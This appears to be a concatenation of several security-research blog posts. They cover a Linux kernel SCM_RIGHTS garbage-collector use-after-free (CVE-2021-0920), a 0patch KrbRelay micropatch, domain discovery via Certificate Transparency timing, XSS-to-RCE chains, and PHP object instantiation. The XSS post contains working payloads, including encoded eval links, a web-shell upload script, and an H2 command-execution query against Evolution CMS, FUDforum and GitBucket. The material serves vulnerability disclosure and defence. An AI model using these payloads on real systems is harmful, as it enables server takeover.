        for (i = scm->fp->count-1; i >= 0; i--)

                unix_notinflight(scm->fp->user, scm->fp->fp[i]);

}

The unix_notinflight from unix_detach_fds will reverse the effect of unix_inflight by decrementing the inflight count:

void unix_notinflight(struct user_struct *user, struct file *fp)

{

        struct sock *s = unix_get_socket(fp);

        spin_lock(&unix_gc_lock);

        if (s) {

                struct unix_sock *u = unix_sk(s);

                BUG_ON(!atomic_long_read(&u->inflight));

                BUG_ON(list_empty(&u->link));

                if (atomic_long_dec_and_test(&u->inflight))

                        list_del_init(&u->link);

                unix_tot_inflight--;

        }

        user->unix_inflight--;

        spin_unlock(&unix_gc_lock);

}

Later skb_unlink and consume_skb are invoked from unix_stream_read_generic (af_unix.c#2451) to destroy the current skb. Following the call chain kfree(skb)->__kfree_skb, the kernel will invoke the function pointer skb->destructor (code) which redirects to unix_destruct_scm:

static void unix_destruct_scm(struct sk_buff *skb)

{

        struct scm_cookie scm;

        memset(&scm, 0, sizeof(scm));

        scm.pid  = UNIXCB(skb).pid;

        if (UNIXCB(skb).fp)

                unix_detach_fds(&scm, skb);

        /* Alas, it calls VFS */

        /* So fscking what? fput() had been SMP-safe since the last Summer */

        scm_destroy(&scm);

        sock_wfree(skb);

}

In fact, the unix_detach_fds will not be invoked again here from unix_destruct_scm because UNIXCB(skb).fp is already cleared by unix_detach_fds. Finally, fd_install(new_fd, get_file(fp[i])) from scm_detach_fds is invoked for installing a new file descriptor.

recvmsg with MSG_PEEK flag

The recvmsg process is different if the MSG_PEEK flag is set. The MSG_PEEK flag is used during receive to “peek” at the message, but the data is treated as unread. unix_stream_read_generic will invoke scm_fp_dup instead of unix_detach_fds. This increases the reference count of the inflight file (af_unix.c#2149):

/* It is questionable, see note in unix_dgram_recvmsg.

 */

if (UNIXCB(skb).fp)

        scm.fp = scm_fp_dup(UNIXCB(skb).fp);

sk_peek_offset_fwd(sk, chunk);

if (UNIXCB(skb).fp)

        break;

Because the data should be treated as unread, the skb is not unlinked and consumed when the MSG_PEEK flag is set. However, the receiver will still get a new file descriptor for the inflight socket.

recvmsg Examples

Let’s see a concrete example. Assume there are the following socket pairs:

  • f 00, f 01
  • f 10, f 11

Now, the program does the following operations:

  • f 00 → [f 00] → f 01 (means f 00 sends [f 00] to f 01)
  • f 10 → [f 00] → f 11
  • Close(f 00)

f00, f01, f10, f11 forms a breakable cycle.

Breakable cycle by f 00, f 01, f 10 and f 11

Here is the status:

  • inflight(f 00) = 2, ref(f 00) = 2
  • inflight(f 01) = 0, ref(f 01) = 1
  • inflight(f 10) = 0, ref(f 10) = 1
  • inflight(f 11) = 0, ref(f 11) = 1

If the garbage collection process happens now, before any recvmsg calls, the kernel will choose f 00 as the garbage candidate. However, f 00 will not have the inflight count altered and the kernel will not purge any garbage.

If f 01 then calls recvmsg with MSG_PEEK flag, the receive queue doesn’t change and the inflight counts are not decremented. f 01 gets a new file descriptor f 00' which increments the reference count on f 00:

After f01 receives the socket file descriptor by MSG_PEEK, the reference count of f00 is incremented and the receive queue from f01 remains the same.

MSG_PEEK increment the reference count of f 00 while the receive queue is not cleared

Status:

  • inflight(f 00) = 2, ref(f 00) = 3
  • inflight(f 01) = 0, ref(f 01) = 1
  • inflight(f 10) = 0, ref(f 10) = 1
  • inflight(f 11) = 0, ref(f 11) = 1

Then, f 01 calls recvmsg without MSG_PEEK flag, f 01’s receive queue is removed. f 01 also fetches a new file descriptor f 00'':

After f01 receives the socket file descriptor without MSG_PEEK, the receive queue is cleared and file descriptor f00''' is obtained.

The receive queue of f 01 is cleared and f 01'' is obtained from f 01

Status:

  • inflight(f 00) = 1, ref(f 00) = 3
  • inflight(f 01) = 0, ref(f 01) = 1
  • inflight(f 10) = 0, ref(f 10) = 1
  • inflight(f 11) = 0, ref(f 11) = 1

UAF Scenario

From a very high level perspective, the internal state of Linux garbage collection can be non-deterministic because MSG_PEEK is not synchronized with the garbage collector. There is a race condition where the garbage collector can treat an inflight socket as a garbage candidate while the file reference is incremented at the same time during the MSG_PEEK receive. As a consequence, the garbage collector may purge the candidate, freeing the socket buffer, while a receiver may install the file descriptor, leading to a UAF on the skb object.

Let’s see how the captured 0-day sample triggers the bug step by step (simplified version, in reality you may need more threads working together, but it should demonstrate the core idea). First of all, the sample allocates the following socket pairs and single socket 𝛼:

  • f 00, f 01
  • f 10, f 11
  • f 20, f 21
  • f 30, f 31
  • sock 𝛼 (actually there might be even thousands of 𝛼 for protracting the garbage collection process in order to evade a BUG_ON check which will be introduced later).

Now, the program does the below operations:

Close the following file descriptors prior to any recvmsg calls:

  • Close(f 00)
  • Close(f 01)
  • Close(f 11)
  • Close(f 10)
  • Close(f 30)
  • Close(f 31)
  • Close(𝛼)

Here is the status:

  • inflight(f 00) = N + 1, ref(f 00) = N + 1
  • inflight(f 01) = 2, ref(f 01) = 2
  • inflight(f 10) = 3, ref(f 10) = 3
  • inflight(f 11) = 1, ref(f 11) = 1
  • inflight(f 20) = 0, ref(f 20) = 1
  • inflight(f 21) = 0, ref(f 21) = 1
  • inflight(f 31) = 1, ref(f 31) = 1
  • inflight(𝛼) = 1, ref(𝛼) = 1

If the garbage collection process happens now, the kernel will do the following scrutiny:

  • List f 00, f 01, f 10,  f 11, f 31, 𝛼 as garbage candidates. Decrease inflight count for the candidate children in each receive queue.
  • Since f 21 is not considered a candidate, f 11’s inflight count is still above zero.
  • Recursively restore the inflight count.
  • Nothing is considered garbage.

A potential skb UAF by race condition can be triggered by:

  1. Call recvmsg with MSG_PEEK flag from f 21 to get f 11’.
  2. Call recvmsg with MSG_PEEK flag from f 11 to get f 10’.
  3. Concurrently do the following operations:
  1. Call recvmsg without MSG_PEEK flag from f 11 to get f 10’’.
  2. Call recvmsg with MSG_PEEK flag from f 10

How is it possible? Let’s see a case where the race condition is not hit so there is no UAF:

Thread 0

Thread 1

Thread 2

Call unix_gc

Stage0: List f 00, f 01, f 10,  f 11, f 31, 𝛼 as garbage candidates.

Call recvmsg with MSG_PEEK flag from f 21 to get f 11

Increase reference count: scm.fp = scm_fp_dup(UNIXCB(skb).fp);

Stage0: decrease inflight count from the child of every garbage candidate

Status after stage 0:

inflight(f 00) = 0

inflight(f 01) = 0

inflight(f 10) = 0

inflight(f 11) = 1

inflight(f 31) = 0

inflight(𝛼) = 0

Stage1: Recursively restore inflight count if a candidate still has inflight count.

Stage1: All inflight counts have been restored.

Stage2: No garbage, return.

Call recvmsg with MSG_PEEK flag from f 11 to get f 10

Call recvmsg without MSG_PEEK flag from f 11 to get f 10’’

Call recvmsg with MSG_PEEK flag from f 10

Everyone is happy

Everyone is happy

Everyone is happy

However, if the second recvmsg occurs just after stage 1 of the garbage collection process, the UAF is triggered:

Thread 0

Thread 1

Thread 2

Call unix_gc

Stage0: List f 00, f 01, f 10,  f 11, f 31, 𝛼 as garbage candidates.

Call recvmsg with MSG_PEEK flag from f 21 to get f 11

Increase reference count: scm.fp = scm_fp_dup(UNIXCB(skb).fp);

Stage0: decrease inflight count from the child of every garbage candidates

Status after stage 0:

inflight(f 00) = 0

inflight(f 01) = 0

inflight(f 10) = 0

inflight(f 11) = 1

inflight(f 31) = 0

inflight(𝛼) = 0

Stage1: Start restoring inflight count.

Call recvmsg with MSG_PEEK flag from f 11 to get f 10

Call recvmsg without MSG_PEEK flag from f 11 to get f 10’’

unix_detach_fds: UNIXCB(skb).fp = NULL

Blocked by spin_lock(&unix_gc_lock)

Stage1: scan_inflight cannot find candidate children from f 11. Thus, the inflight count accidentally remains the same.

Stage2: f 00, f 01, f 10, f 31, 𝛼 are garbage.

Stage2: start purging garbage.

Start calling recvmsg with MSG_PEEK flag from f 10’, which would expect to receive f 00'

Get skb = skb_peek(&sk->sk_receive_queue), skb is going to be freed by thread 0.

Stage2: for, calls __skb_unlink and kfree_skb later.

state->recv_actor(skb, skip, chunk, state) UAF

GC finished.

Start garbage collection.

Get f 10’’

Therefore, the race condition causes a UAF of the skb object. At first glance, we should blame the second recvmsg syscall because it clears skb.fp, the passed file list. However, if the first recvmsg syscall doesn’t set the MSG_PEEK flag, the UAF can be avoided because unix_notinflight is serialized with the garbage collection. In other words, the kernel makes sure the garbage collection is either not processed or finished before decrementing the inflight count and removing the skb. After unix_notinflight, the receiver obtains f11' and inflight sockets don't form an unbreakable cycle.

Since MSG_PEEK is not serialized with the garbage collection, when recvmsg is called with MSG_PEEK set, the kernel still considers f 11 as a garbage candidate. For this reason, the following next recvmsg will eventually trigger the bug due to the inconsistent state of the garbage collection process.

 

Patch Analysis

CVE-2021-0920 was found in 2016

The vulnerability was initially reported to the Linux kernel community in 2016. The researcher also provided the correct patch advice but it was not accepted by the Linux kernel community:

Linux kernel developers: Why would I apply a patch that's an RFC, doesn't have a proper commit message, lacks a proper signoff, and also lacks ACK's and feedback from other knowledgable developers?

Patch was not applied in 2016

In theory, anyone who saw this patch might come up with an exploit against the faulty garbage collector.

Patch in 2021

Let’s check the official patch for CVE-2021-0920. For the MSG_PEEK branch, it requests the garbage collection lock unix_gc_lock before performing sensitive actions and immediately releases it afterwards:

+       spin_lock(&unix_gc_lock);

+       spin_unlock(&unix_gc_lock);

The patch is confusing - it’s rare to see such lock usage in software development. Regardless, the MSG_PEEK flag now waits for the completion of the garbage collector, so the UAF issue is resolved.

BUG_ON Added in 2017

Andrey Ulanov from Google in 2017 found another issue in unix_gc and provided a fix commit. Additionally, the patch added a BUG_ON for the inflight count:

void unix_notinflight(struct user_struct *user, struct file *fp)

        if (s) {

                struct unix_sock *u = unix_sk(s);

 

+               BUG_ON(!atomic_long_read(&u->inflight));

                BUG_ON(list_empty(&u->link));

 

                if (atomic_long_dec_and_test(&u->inflight))

At first glance, it seems that the BUG_ON can prevent CVE-2021-0920 from being exploitable. However, if the exploit code can delay garbage collection by crafting a large amount of fake garbage,  it can waive the BUG_ON check by heap spray.

New Garbage Collection Discovered in 2021

CVE-2021-4083 deserves an honorable mention: when I discussed CVE-2021-0920 with Jann Horn and Ben Hawkes, Jann found another issue in the garbage collection, described in the Project Zero blog post Racing against the clock -- hitting a tiny kernel race window.

\

Part I Conclusion

To recap, we have discussed the kernel internals of SCM_RIGHTS and the designs and implementations of the Linux kernel garbage collector. Besides, we have analyzed the behavior of MSG_PEEK flag with the recvmsg syscall and how it leads to a kernel UAF by a subtle and arcane race condition.

The bug was spotted in 2016 publicly, but unfortunately the Linux kernel community did not accept the patch at that time. Any threat actors who saw the public email thread may have a chance to develop an LPE exploit against the Linux kernel.

In part two, we'll look at how the vulnerability was exploited and the functionalities of the post compromise modules.

Micropatches For "KrbRelay" Local Privilege Escalation Vulnerability (Wontfix/0day)

10 August 2022 at 15:42


 

by Mitja Kolsek, the 0patch Team


Update 10/21/2022: Microsoft silently fixed this issue with October 2022 Updates. No CVE ID was assigned.

"KrbRelay" is a tool for forced authentication issue in Windows that can be used by a low-privileged domain user to take over a Windows computer, potentially becoming a local or domain admin within minutes. The tool, based on James Forshaw's research, was developed by security researcher cube0x0, and was later wrapped by Mor Davidovich into another tool called "KrbRelayUp" that further automated attack steps for escalating privileges.

KrbRelay provides various options to launch different versions of attack; some of these options were already known under the name RemotePotato0, for which we already had patches before. What was new for us with KrbRelay was its capability to launch a local service (running in session 0) via RPC and exploit it for leaking Local System credentials through forced authentication. In order to be exploitable, a service must allow authentication over the network, and just two such services were identified on affected Windows versions:

  1. ActiveX Installer Service, identified by CLSID 90f18417-f0f1-484e-9d3c-59dceee5dbd8; and
  2. RemoteAppLifetimeManager.exe, identified by CLSID 0bae55fc-479f-45c2-972e-e951be72c0c1.


Microsoft does not fix forced authentication issues unless an attack can be mounted anonymously. Our customers unfortunately can't all disable relevant services or implement mitigations without breaking production, so it is on us to provide them with such patches.

For the purpose of identifying vulnerabilities we decided to name the vulnerability exposing the above services "KrbRelay", as other attack vectors provided by the tool were already blocked by our existing patches for RemotePotato0. We decided to inject our patch logic at the point where a local unprivileged attacker launches the exploitable service, because such patch would be fairly simple - and we like it simple: it's harder to make mistakes.

Our patch, source code shown below, resides in rpcss.dll and checks whether someone is trying to launch one of the above services via RPC; in such case, if the requestor's token is elevated, we allow it, otherwise not. This is the same approach as we used with patching RemotePotato0.



MODULE_PATH "..\Affected_Modules\rpcss.dll_10.0.17763.3113_Srv2019_64-bit_u202207\rpcss.dll"
PATCH_ID 992
PATCH_FORMAT_VER 2
VULN_ID 7416
PLATFORM win64

patchlet_start
    PATCHLET_ID 1
    PATCHLET_TYPE 2
    PATCHLET_OFFSET 0x6674
    N_ORIGINALBYTES 5
    JUMPOVERBYTES 0
    PIT Advapi32.dll!GetTokenInformation,ntdll!_strnicmp,rpcss.dll!0x68ccd
    ; memory representation:    17 84 f1 90 f1 f0 4e 48 9d 3c 59 dc ee e5 db d8
    ; clsid:                    90f18417-f0f1-484e-9d3c-59dceee5dbd8

    code_start
        call VAR                       
        dd 0x90f18417                 ; CIeAxiInstallerService Class
        dw 0xf0f1, 0x484e
        db 0x9d, 0x3c, 0x59, 0xdc, 0xee, 0xe5, 0xdb, 0xd8
    VAR:
        pop rcx                       ; rcx => clsid in memory respresentation
        mov rdx, [rbx]                ; ClientToken hadle
        mov r8, 16                    ; length to compare
        call PIT__strnicmp            ; Compares the specified number of characters
                                      ; of two strings without regard to case
        cmp rax, 0                    ; rax == 0 string are equal
        jne CONTINUE                  ; if rax != 0 continue normal code flow

        mov rdx, [rbx+8]
        mov rdx, [rdx]
        mov rcx, [rdx+40h]            ; current session token, TokenHandle
        mov rdx, 14h                  ; TokenInformationClass, TokenElevation
        sub rsp, 30h                  ; home space + vars
        lea r8, [rsp+30h]             ; TokenInformation
        mov qword[rsp+30h], 0         ; memset
        mov r9, 4                     ; TokenInformationLength
        lea rax, [rsp+28h]            ; ReturnLength address
        mov [rsp+20h], rax            ; pointer to address
        call PIT_GetTokenInformation  ; The GetTokenInformation function retrieves a
                                      ; specified type of information about an access token
        add rsp, 30h                  ; restore stack pointer
        cmp byte[rsp], 0              ; token elevated?
        je PIT_0x68ccd                ; if elevated(1) continue normal code flow

    CONTINUE:
       
    code_end
patchlet_end


 

Micropatch Availability

While this vulnerability has no official vendor patch and could be considered a "0day", Microsoft seems determined not to fix relaying issues such as this one; therefore, this micropatch is not provided in the FREE plan but requires a PRO or Enterprise license.

The micropatch was written for the following Versions of Windows with all available Windows Updates installed: 

  1. Windows 10 v21H2
  2. Windows 10 v21H1
  3. Windows 10 v20H2
  4. Windows 10 v2004
  5. Windows 10 v1909
  6. Windows 10 v1903
  7. Windows 10 v1809
  8. Windows 10 v1803
  9. Windows 7 (no ESU, ESU year 1, ESU year 2)
  10. Windows Server 2008 R2 (no ESU, ESU year 1, ESU year 2)
  11. Windows Server 2012
  12. Windows Server 2012 R2
  13. Windows Server 2016
  14. Windows Server 2019 
  15. Windows Server 2022 
 
This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

To learn more about 0patch, please visit our Help Center

We'd like to thank James Forshaw and cube0x0 for sharing details about this vulnerability and sharing a tool, which allowed us to create a micropatch and protect our users. We also encourage security researchers to privately share their analyses with us for micropatching.

Discovering Domains via a Time-Correlation Attack on Certificate Transparency

By: admin
9 August 2022 at 11:29

Many modern websites employ an automatic issuance and renewal of TLS certificates. For enterprises, there are DigiCert services. For everyone else, there are free services such as Let’s Encrypt and ZeroSSL.

There is a flaw in a way that deployment of TLS certificates might be set up. It allows anyone to discover all domain names used by the same server. Sometimes, even when there is no HTTPS there!

In this article, I describe a new technique for discovering domain names. Afterward, I show how to use it in threat intelligence, penetration testing, and bug bounty.

Quick Overview

Certificate Transparency (CT) is an Internet security standard for monitoring and auditing the issuance of TLS certificates. It creates a system of public logs that seek to record all certificates issued by publicly trusted certificate authorities (CAs).

To search through CT logs, Crt.sh or Censys services are usually used. Censys also adds certificates from the scan results to the database.

It’s already known that by looking through CT logs it’s possible to discover obscure subdomains or to discover brand-new domains with CMS installation scripts available.

There is much more to it. Sometimes the following or equivalent configuration is set up on the server:

# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"

This configuration means that certificates for all the server’s domains are renewed at the same time. Therefore, we can discover all these domains by a time-correlation attack on certificate transparency!

Let’s see how it can be applied in practice!

A Real Case Scenario. Let’s Encrypt

A month ago, I tried to download dnSpy, and I discovered a malicious dnSpy website. I sent several abuse reports, and I was able to block it in just 2 hours:

🧨 Be aware, dnSpy .NET Debugger / Assembly Editor has been trojaned again!

In Google’s TOP 2, there was a malicious site maintained by threat actors, who also distributed infected CPU-Z, Notepad++, MinGW, and many more.

🎯 Thanks to NameSilo, the domain has been deactivated! pic.twitter.com/EdTlFjtN4B

— Arseniy Sharoglazov (@_mohemiv) July 8, 2022

I found quite a lot of information about the threat actors who created this website online. For example, there is an article in Bleeping Computer and detailed research from Colin Cowie.

In short, a person or a group of people create malicious websites mimicking legitimate ones. The websites distribute infected software, both commercial and open source. Affected software includes, but is not limited to Burp Suite, Minecraft, Tor Browser, dnSpy, OBS Studio, CPU-Z, Notepad++, MinGW, Cygwin, and XAMPP.

The page that distributed Burp Suite

I wasn’t willing to put up with the fact that someone trojans cool open source projects like OBS Studio or MinGW, and I decided to take matters into my own hands.

Long Story Short

I sent more than 20 abuse reports, and I was able to shut down a lot of infrastructure of the threat actors:

A reply to my tweet indicating what has been additionally done (see on Twitter)

It isn’t easy to confront these threat actors. They purchase domains on different registrars using different accounts. Next, they use an individual account for each domain on Cloudflare to proxy all traffic to the destination server. Finally, they wait for some time before putting malicious content on the site, or they hide it under long URLs.

Some of the domains controlled by the threat actors are known from Twitter: cpu-z[.]org, gpu-z[.]org, blackhattools[.]net, obsproject[.]app, notepadd[.]net, codenote[.]org, minecraftfree[.]net, minecraft-java[.]com, apachefriends[.]co, ...

The question is how to discover other domains of the threat actors. Other domains may have nothing in common, and each of them would refer to Cloudflare.

This is where our time-correlation attack on certificate transparency comes into play.

Take a look at one of the certificates to the domain cpu-z[.]net, used by the threat actors:

Examining one of the certificates to the domain cpu-z[.]net (see this page on censys.io)

This certificate has the validity start field equal to 2022-07-23 13:59:54.

Now, let’s utilize the parsed.validity.start filter to find certificates issued a few seconds later:

It’s important to escape the “:” character, otherwise the filter won’t work (see this page on censys.io)

Here it is! We just discovered a domain that wasn’t known before!

Let’s open a website on this domain:

The main page of https://cr4cked[.]games/

This is exactly what we were looking for! Earlier I was able to disclose the real IP address of cpu-z[.]org. This IP address belonged to Hawk Host, and after my abuse report to them, all websites of the threat actors on Hawk Host started to show this exact page.

This proves that we discovered a domain managed by the same threat actors, and not just a random malicious domain.

A few pages later a domain blazefiles[.]net can be found. This domain was used to distribute infected Adobe products, and now it also shows the Hawk Host page.

The threat actors placed links to infected Adobe products on the “Hackers Crowd” telegram channel

There are much more domains of the threat actors that can be discovered by this technique. Thus, let’s just discuss why it works.

Why did the technique work?

The threat actors hosted their websites by software such as Plesk, cPanel, or CyberPanel. It was automatically issuing and renewing trusted certificates, and it was doing so simultaneously for all the websites.

If you try to search for the cpu-z[.]org domain in crt.sh, you’d see a bunch of certificates:

Exploring cpu-z[.]org certificates on crt.sh: https://crt.sh/?q=%25.cpu-z.org

Since the threat actors used Cloudflare, none of these certificates were ever needed.

However, we were able to utilize these non-Cloudflare certificates in the time-correlation attack and discover unknown domains of the threat actors.

DigiCert and Other CAs

DigiCert services are used by large companies for the automatic issuance of TLS certificates.

The time in the validity field of DigiCert certificates is always set to 00:00:00. The same is true for some other CAs, for example, ZeroSSL.

An example of a DigiCert certificate

But if we look at crt.sh, we can see that crt.sh IDs of certificates owned by the same company may be placed quite close to each other:

Exploring certificates of Twitter, a company that has one of the biggest bug bounty programs

Therefore, when a CA doesn’t include the exact issuing time to certificates, the certificates issued close in time can be discovered by their positions in CT logs.

Additionally, you may find two types of certificates in the logs: precertificates and leaf certificates. If you have access to the leaf certificate, you can take a look at the signed certificate timestamp (SCT) filed in it:

An example of getting timestamp from a leaf certificate

The SCT field should always contain a timestamp, even when the time in the validity field is 00:00:00.

What’s Next

Probably, some kind of tooling or a service is needed to help with discovering domains by this technique.

The ways to correlate domains that may be utilized:

  • Analyzing certificates with close timestamps in the issuance field
  • Analyzing certificates with close timestamps in the SCT field
  • Analyzing certificates that come close to each other in CT logs
  • Analyzing time periods between known certificates
  • Analyzing certificates issued after a round period of time from the known timestamps
  • Getting an intersection for sets of certificates issued close in time regarding the known timestamps
  • The same, but regarding positions in CT logs
  • Grabbing CT logs in real time and timestamping the certificates on our own

Regarding mitigation, regularly inspect CT logs for your domains. You may discover not only domains affected by attacks on CT but also certificates issued by someone attacking your infrastructure.

Feel free to comment on this article on our Twitter. Follow @ptswarm or @_mohemiv so you don’t miss our future research and other publications.

Researching Open Source apps for XSS to RCE flaws

By: admin
28 July 2022 at 13:54

Cross-Site Scripting (XSS) is one of the most commonly encountered attacks in web applications. If an attacker can inject a JavaScript code into the application output, this can lead not only to cookie theft, redirection or phishing, but also in some cases to a complete compromise of the system.

In this article I’ll show how to achieve a Remote Code Execution via XSS on the examples of Evolution CMS, FUDForum, and GitBucket.

Evolution CMS v3.1.8

Link: https://github.com/evolution-cms/evolution
CVE: Pending

Evolution CMS describes itself as the world’s fastest and the most customizable open source PHP CMS.

In Evolution CMS, I discovered an unescaped display of user-controlled data, which leads to the possibility of reflected XSS attacks:

manager/views/page/user_roles/permission.blade.php
manager/views/page/user_roles/user_role.blade.php
manager/views/page/user_roles/permissions_groups.blade.php

I will give an example of a link with a payload.

https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=alert(document.domain)%3E

If an administrator authorized in the system follows the link or clicks on it, then the javascript code will be executed in the administrator’s browser:

Exploitation of reflected XSS attack in Evolution CMS

In the admin panel of Evolution CMS, in the file manager section, the administrator can upload files. The problem is that it cannot upload php files, however, it can edit existing ones.

We will give an example javascript code that will overwrite index.php file with phpinfo() function:

$.get('/manager/?a=31',function(d) {
  let p = $(d).contents().find('input[name=\"path\"]').val();
  $.ajax({
    url:'/manager/index.php',
    type:'POST',
    contentType:'application/x-www-form-urlencoded',
    data:'a=31&mode=save&path='+p+'/index.php&content=<?php phpinfo(); ?>'}
  );
});

It’s time to combine the payload and the javascript code described above, which, as an example, can be encoded in Base64:

https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=eval(atob(%27JC5nZXQoJy9tYW5hZ2VyLz9hPTMxJyxmdW5jdGlvbihkKXtsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPSJwYXRoIl0nKS52YWwoKTskLmFqYXgoe3VybDonL21hbmFnZXIvaW5kZXgucGhwJyx0eXBlOidQT1NUJyxjb250ZW50VHlwZTonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyxkYXRhOidhPTMxJm1vZGU9c2F2ZSZwYXRoPScrcCsnL2luZGV4LnBocCZjb250ZW50PTw/cGhwIHBocGluZm8oKTsgPz4nfSk7fSk7%27))%3E

In case of a successful attack on an administrator authorized in the system, the index.php file will be overwritten with the code that the attacker placed in the payload. In this case, this is a call of phpinfo() function:

Achieving Remote Code Execution via reflected XSS in Evolution CMS v3.1.8

FUDforum v3.1.1

Link: https://github.com/fudforum/FUDforum
CVE: Pending

FUDforum is a super fast and scalable discussion forum. It is highly customizable and supports unlimited members, forums, posts, topics, polls, and attachments.

In a FUDforum, I found unescaped display of user-controlled data in the name of an attachment in a private message or forum topic, which allows to perform a stored XSS attack. Attach and upload a file with the name: <img src=1 onerror=alert()>.png . After downloading this file, the javascript code will be executed in the browser:

Exploitation of XSS vulnerability in FUDforum v3.1.1

The FUDforum admin panel has a file manager that allows you to upload files to the server, including files with the php extension.

An attacker can use stored XSS to upload a php file that can execute any command on the server.

There is already a public exploit for the FUDforum, which, using a javascript code, uploads a php file on behalf of the administrator:

const action = '/adm/admbrowse.php';

function uploadShellWithCSRFToken(csrf) {
  let cur = '/var/www/html/fudforum.loc';
  let boundary = "-----------------------------347796892242263418523552968210";
  let contentType = "application/x-php";
  let fileName = 'shell.php';
  let fileData = "<?=`$_GET[cmd]`?>";
  let xhr = new XMLHttpRequest();
  xhr.open('POST', action, true);
  xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=" + boundary);
  let body = "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="cur"\r\n\r\n';
  body += cur + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="SQ"\r\n\r\n';
  body += csrf + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="fname"; filename="' + fileName + '"\r\n';
  body += "Content-Type: " + contentType + "\r\n\r\n";
  body += fileData + "\r\n\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="tmp_f_val"\r\n\r\n';
  body += "1" + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="d_name"\r\n\r\n';
  body += fileName + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="file_upload"\r\n\r\n';
  body += "Upload File" + '\r\n';
  body += "--" + boundary + "--";
  xhr.send(body);
}
let req = new XMLHttpRequest();
req.onreadystatechange = function() {
  if (req.readyState == 4 && req.status == 200) {
    let response = req.response;
    uploadShellWithCSRFToken(response.querySelector('input[name=SQ]').value);
  }
}
req.open("GET", action, true);
req.responseType = "document";
req.send();

Now an attacker can write a private message to himself and attach the mentioned exploit as a file. After the message has been sent to itself, needs to get the path to the hosted javascript exploit on the server:

index.php?t=getfile&id=7&private=1

The next step is to prepare the javascript payload that will be executed via a stored XSS attack. The essence of the payload is to get an early placed exploit and run it:

$.get('index.php?t=getfile&id=7&&private=1',function(d){eval(d)})

It remains to put everything together to form the full name of the attached file in private messages. We will encode the assembled javascript payload in Base64:

<img src=1 onerror=eval(atob('JC5nZXQoJ2luZGV4LnBocD90PWdldGZpbGUmaWQ9NyYmcHJpdmF0ZT0xJyxmdW5jdGlvbihkKXtldmFsKGQpfSk='))>.png

After the administrator reads the private message sent by the attacker with the attached file, a file named shell.php will be created on the server on behalf of the administrator, which will allow the attacker to execute arbitrary commands on the server:

Achieving Remote Code Execution via stored XSS in FUDforum v3.1.1

GitBucket v4.37.1

Link: https://github.com/gitbucket/gitbucket
CVE: Pending

GitBucket is a Git platform powered by Scala with easy installation, high extensibility, and GitHub API compatibility.

In GitBucket, I found unescaped display of user-controlled issue name on the home page and attacker’s profile page (/hacker?tab=activity), which leads to a stored XSS:

Exploitation of stored XSS in GitBucket v4.37.1

Having a stored XSS attack, can try to exploit it in order to execute code on the server. The admin panel has tools for performing SQL queries – Database viewer.

GitBucket use H2 Database Engine by default. For this database, there is a publicly available exploit to achieve a Remote Code Execution.

So, all an attacker needs to do is create a PoC code based on this exploit, upload it to the repository and and use it during an attack:

var url = "/admin/dbviewer/_query";
$.post(url, {query: 'CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");return s.hasNext() ? s.next() : ""; }$$;'
})
.done(function(data) {$.post(url, {query: "CALL EXECVE('touch HACKED')"})})
Uploading the PoC code for exploiting H2 Database Engine via stored XSS to the repository

Now it remains to create a new issue or rename the old one and perform a stored XSS attack with an early exploit loaded:

Issue 1"><script src="/hacker/Repo1/raw/f85ebe5d6b979ca69411fa84749edead3eec8de0/exploit.js"></script>
Creating a new issue with a payload

When the administrator visits the attacker’s profile page or the main page, an exploit will be executed on his behalf and a HACKED file will be created on the server:

Using the administrator’s account to visit an attacker’s profile
Checking whether Remote Code Execution was achieved

Conclusions

We have demonstrated that a low-skilled attacker can easily achieve a remote code execution via any XSS attack in multiple open-source applications.

Information about all found vulnerabilities was reported to maintainers. Fixes are available in the official  repositories:

If you have something to add, please share your opinion on our Twitter.

Exploiting Arbitrary Object Instantiations in PHP without Custom Classes

By: admin
14 July 2022 at 13:18

During an internal penetration test, I discovered an unauthenticated Arbitrary Object Instantiation vulnerability in LAM (LDAP Account Manager), a PHP application.

PHP’s Arbitrary Object Instantiation is a flaw in which an attacker can create arbitrary objects. This flaw can come in all shapes and sizes. In my case, the vulnerable code could have been shortened to one simple construction:

new $_GET['a']($_GET['b']);

That’s it. There was nothing else there, and I had zero custom classes to give me a code execution or a file upload. In this article, I explain how I was able to get a Remote Code Execution via this construction.

Discovering LDAP Account Manager

In the beginning of our internal penetration test I scanned the network for 636/tcp port (ssl/ldap), and I discovered an LDAP service:

$ nmap 10.0.0.1 -p80,443,389,636 -sC -sV -Pn -n
Nmap scan report for 10.0.0.1
Host is up (0.005s latency).

PORT STATE SERVICE VERSION
369/tcp closed ldap
443/tcp open ssl/http Apache/2.4.25 (Debian)
636/tcp open ssl/ldap OpenLDAP 2.2.X - 2.3.X
| ssl-cert: Subject: commonName=*.company.com
| Subject Alternative Name: DNS:*.company.com, DNS:company.com
| Not valid before: 2022-01-01T00:00:00
|_Not valid after: 2024-01-01T23:59:59
|_ssl-date: TLS randomness does not represent time

I tried to access this LDAP service via an anonymous session, but it failed:

$ ldapsearch -H ldaps://10.0.0.1:636/ -x -s base -b '' "(objectClass=*)" "*" +
ldap_sasl_bind(SIMPLE): Can't contact LDAP server (-1)

However, after I put the line “10.0.0.1 company.com” to my /etc/hosts file, I was able to connect to this LDAP and extract all publicly available data. This meant the server had a TLS SNI check, and I was able to bypass it using a hostname from the server’s certificate.

The domain “company.com” wasn’t the right domain name of the server, but it worked.

